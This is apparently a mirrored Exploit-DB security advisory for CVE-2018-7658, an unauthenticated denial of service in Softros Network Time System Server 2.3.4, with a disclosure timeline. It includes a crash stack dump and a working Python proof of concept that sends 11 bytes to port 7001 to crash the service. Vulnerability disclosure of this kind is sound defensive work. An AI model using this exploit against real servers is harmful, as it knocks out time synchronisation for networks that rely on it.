Softros Network Time System Server 2.3.4 – Denial of Service

• Exploit Database
• 16 阅读

• 作者： hyp3rlinx
  日期： 2018-03-06
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44255/

• [+] Credits: John Page (aka hyp3rlinx)		
  [+] Website: hyp3rlinx.altervista.org
  [+] Source:http://hyp3rlinx.altervista.org/advisories/SOFTROS-NETWORK-TIME-SYSTEM-SERVER-v2.3.4-DENIAL-OF-SERVICE.txt
  [+] ISR: Apparition Security
   
  
  Vendor:
  =============
  www.softros.com
  https://nts.softros.com/downloads/
  
  
  Product:
  ===========
  Network Time System Server v2.3.4 
  Both x86/x64 versions
  
  
  Network Time System provides a solution to system time maintenance problems. This powerful client/server software enables you to set up a
  virtually fail-safe synchronized time environment for networks of any size and complexity, from small office networks (LAN) to those
  maintained at large enterprises (VPN, VLAN, WAN), from single site networks to those including numerous domains and involving complex
  routing techniques. Network Time System allows the creation of a custom source of precise time in a corporate network environment
  establishing an interconnected time synchronization system for each and every machine and device on the company network.
  
  
  Vulnerability Type:
  ===================
  Denial Of Service
  
  
  
  CVE Reference:
  ==============
  CVE-2018-7658
  
  
  Security Issue:
  ================
  Network Time System (Server) "NTSServerSvc" service listens on Port 7001, unauthenticated remote attackers can crash the
  Server by sending exactly 11 bytes to the target system. Systems which may depend on critical time synchronization 
  could then potentially be impacted.
  
  
  Stack dump:
  
  '''
  eax=0320119a ebx=0000000b ecx=000000ff edx=00000000 esi=03167040 edi=0050b328
  eip=004069a5 esp=0447fee8 ebp=0447ff28 iopl=0 nv up ei ng nz ac pe cy
  cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010297
  NTSServerSvc+0x69a5:
  004069a5 880amov byte ptr [edx],clds:0023:00000000=??
  Resetting default scope
  
  FAULTING_IP: 
  NTSServerSvc+69a5
  004069a5 880amov byte ptr [edx],cl
  
  EXCEPTION_RECORD:(.exr -1)
  ExceptionAddress: 004069a5 (NTSServerSvc+0x000069a5)
   ExceptionCode: c0000005 (Access violation)
  
  '''
  
  
  Exploit/POC:
  =============
  import socket
  #Network Time System (Server) NTSServerSvc.exe v2.3.4 
  #Softros Systems
  #NTS Server service for time synchronization over network
  
  print 'Network Time Server 11 byte Denial Of Service'
  print 'by hyp3rlinx'
  HOST=raw_input('Network Time Server IP')
  PORT=7001
  payload='A'*11 
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  s.connect((HOST,PORT))
  s.send(payload)
  s.close()
  
  
  
  Network Access:
  ===============
  Remote
  
  
  Severity:
  =========
  Medium
  
  
  Disclosure Timeline:
  =============================
  Vendor Notification: February 10, 2018
  Second attempt : February 24, 2018 
  Request CVE, assigned by Mitre : March 3, 2018
  March 5, 2018: Public Disclosure
  
  
  
  [+] Disclaimer
  The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
  Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
  that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
  is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
  for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
  or exploits by the author or elsewhere. All content (c).